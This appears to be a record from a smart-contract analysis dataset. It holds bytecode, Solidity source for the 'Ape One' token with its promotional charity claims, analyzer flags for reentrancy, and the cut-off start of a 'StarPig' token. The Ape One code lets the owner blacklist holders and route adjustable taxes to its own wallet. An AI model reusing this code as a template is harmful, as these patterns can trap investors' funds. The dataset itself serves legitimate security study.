fffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114d557600080fd5b611526826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b600061170182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561199057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a5e57fe5b818303905092915050565b60008183019050828110151515611a7c57fe5b809050929150505600a165627a7a72305820d39e9e15a25b7a5b4b8891d5c23a1452ec99c9ee14162ffc2b849e5d7b4fa1fa0029
{"success": true, "error": null, "results": {}}
10,077
0x5f15b92e7041acb5fb270523689c80dd165f35cf
/** *Submitted for verification at Etherscan.io on 2022-02-25 */ /* We $APE $One Be the Change you want to see The War between Ukarine and Russia is finally settling down, and here We $APE ONE want to contribute to this cause by donating 50% of all Tax genrated to the Charity Telegram: https://t.me/apeoneportal 100% STEALTH LAUNCH Initial LP: 2.5 ETH Max Buy : 2% or 20,000,000 Total Supply : 1,000,000,000 Tax : 12% Buy and 12% Sell 2% Reflections 6% Donations 4% Buy Competitions SLippage: 12% + */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract apeonetoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Ape One"; string private constant _symbol = "Ape One"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xbDdb97c7EcF19d3b27be42AdEcbCa69093e8ce09); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610313578063c3c8cd8014610333578063c9567bf914610348578063dbe8272c1461035d578063dc1052e21461037d578063dd62ed3e1461039d57600080fd5b8063715018a6146102a15780638da5cb5b146102b657806395d89b411461015c5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b806323b872dd116100f257806323b872dd14610210578063273123b714610230578063313ce567146102505780636fc3eaec1461026c57806370a082311461028157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611840565b6103e3565b005b34801561016857600080fd5b506040805180820182526007815266417065204f6e6560c81b6020820152905161019291906118bd565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461174e565b610434565b6040519015158152602001610192565b3480156101d757600080fd5b50670de0b6b3a76400005b604051908152602001610192565b3480156101fc57600080fd5b5061015a61020b366004611878565b61044b565b34801561021c57600080fd5b506101bb61022b36600461170e565b61048d565b34801561023c57600080fd5b5061015a61024b36600461169e565b6104f6565b34801561025c57600080fd5b5060405160098152602001610192565b34801561027857600080fd5b5061015a610541565b34801561028d57600080fd5b506101e261029c36600461169e565b610575565b3480156102ad57600080fd5b5061015a610597565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102ea57600080fd5b5061015a61060b565b3480156102ff57600080fd5b506101bb61030e36600461174e565b61084a565b34801561031f57600080fd5b5061015a61032e366004611779565b610857565b34801561033f57600080fd5b5061015a6108fb565b34801561035457600080fd5b5061015a61093b565b34801561036957600080fd5b5061015a610378366004611878565b610b01565b34801561038957600080fd5b5061015a610398366004611878565b610b39565b3480156103a957600080fd5b506101e26103b83660046116d6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161040d90611910565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610441338484610b71565b5060015b92915050565b6000546001600160a01b031633146104755760405162461bcd60e51b815260040161040d90611910565b66470de4df82000081111561048a5760108190555b50565b600061049a848484610c95565b6104ec84336104e785604051806060016040528060288152602001611a8e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b71565b5060019392505050565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161040d90611910565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056b5760405162461bcd60e51b815260040161040d90611910565b4761048a81610fc6565b6001600160a01b03811660009081526002602052604081205461044590611000565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161040d90611910565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161040d90611910565b600f54600160a01b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ef57600080fd5b505afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072791906116ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076f57600080fd5b505afa158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a791906116ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ef57600080fd5b505af1158015610803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082791906116ba565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610441338484610c95565b6000546001600160a01b031633146108815760405162461bcd60e51b815260040161040d90611910565b60005b81518110156108f7576001600660008484815181106108b357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ef81611a23565b915050610884565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161040d90611910565b600061093030610575565b905061048a81611084565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161040d90611910565b600e546109859030906001600160a01b0316670de0b6b3a7640000610b71565b600e546001600160a01b031663f305d71947306109a181610575565b6000806109b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1957600080fd5b505af1158015610a2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a529190611890565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac957600080fd5b505af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048a919061185c565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600b55565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600c55565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040d565b6001600160a01b03831660009081526006602052604090205460ff1615610de357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2557506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e605750600e546001600160a01b03838116911614155b8015610e8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9a5750600f54600160b81b900460ff165b15610eae57601054811115610eae57600080fd5b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a30610575565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f87838383611229565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd8486611a0c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040d565b6000611071611234565b905061107d8382611257565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116691906116ba565b8160018151811061118757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ad9130911684610b71565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e6908590600090869030904290600401611945565b600060405180830381600087803b15801561120057600080fd5b505af1158015611214573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f87838383611299565b6000806000611241611390565b90925090506112508282611257565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d0565b6000806000806000806112ab876113fe565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dd908761145b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130c908661149d565b6001600160a01b03891660009081526002602052604090205561132e816114fc565b6113388483611546565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137d91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ab8282611257565b8210156113c757505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f15760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd84866119cd565b600080600080600080600080600061141b8a600954600a5461156a565b925092509250600061142b611234565b9050600080600061143e8e8787876115bf565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b6000806114aa83856119b5565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040d565b6000611506611234565b90506000611514838361160f565b30600090815260026020526040902054909150611531908261149d565b30600090815260026020526040902055505050565b600754611553908361145b565b600755600854611563908261149d565b6008555050565b6000808080611584606461157e898961160f565b90611257565b90506000611597606461157e8a8961160f565b905060006115af826115a98b8661145b565b9061145b565b9992985090965090945050505050565b60008080806115ce888661160f565b905060006115dc888761160f565b905060006115ea888861160f565b905060006115fc826115a9868661145b565b939b939a50919850919650505050505050565b60008261161e57506000610445565b600061162a83856119ed565b90508261163785836119cd565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040d565b803561169981611a6a565b919050565b6000602082840312156116af578081fd5b813561107d81611a6a565b6000602082840312156116cb578081fd5b815161107d81611a6a565b600080604083850312156116e8578081fd5b82356116f381611a6a565b9150602083013561170381611a6a565b809150509250929050565b600080600060608486031215611722578081fd5b833561172d81611a6a565b9250602084013561173d81611a6a565b929592945050506040919091013590565b60008060408385031215611760578182fd5b823561176b81611a6a565b946020939093013593505050565b6000602080838503121561178b578182fd5b823567ffffffffffffffff808211156117a2578384fd5b818501915085601f8301126117b5578384fd5b8135818111156117c7576117c7611a54565b8060051b604051601f19603f830116810181811085821117156117ec576117ec611a54565b604052828152858101935084860182860187018a101561180a578788fd5b8795505b838610156118335761181f8161168e565b85526001959095019493860193860161180e565b5098975050505050505050565b600060208284031215611851578081fd5b813561107d81611a7f565b60006020828403121561186d578081fd5b815161107d81611a7f565b600060208284031215611889578081fd5b5035919050565b6000806000606084860312156118a4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e9578581018301518582016040015282016118cd565b818111156118fa5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119945784516001600160a01b03168352938301939183019160010161196f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c8576119c8611a3e565b500190565b6000826119e857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0757611a07611a3e565b500290565b600082821015611a1e57611a1e611a3e565b500390565b6000600019821415611a3757611a37611a3e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048a57600080fd5b801515811461048a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8afb15517165181eacb928002348e44423c02313f2e79fde50171ff4371370c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,078
0x122e506fe2fa8e4bdfcfc53e4d7a48a6d0542236
/** *Submitted for verification at Etherscan.io on 2021-12-27 */ /** SPDX-License-Identifier: UNLICENSED https://starpig.games https://t.me/StarPigGame */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract StarPig is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"StarPig"; string public constant symbol = unicode"StarPig"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 13; uint private _feeRate = 20; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "No bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // Eth if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "PLZ Open Trade."); if((_launchedAt + (12 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "Can't hold anymore."); // 10% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Don't buy too much."); } cooldown[to].buy = block.timestamp; 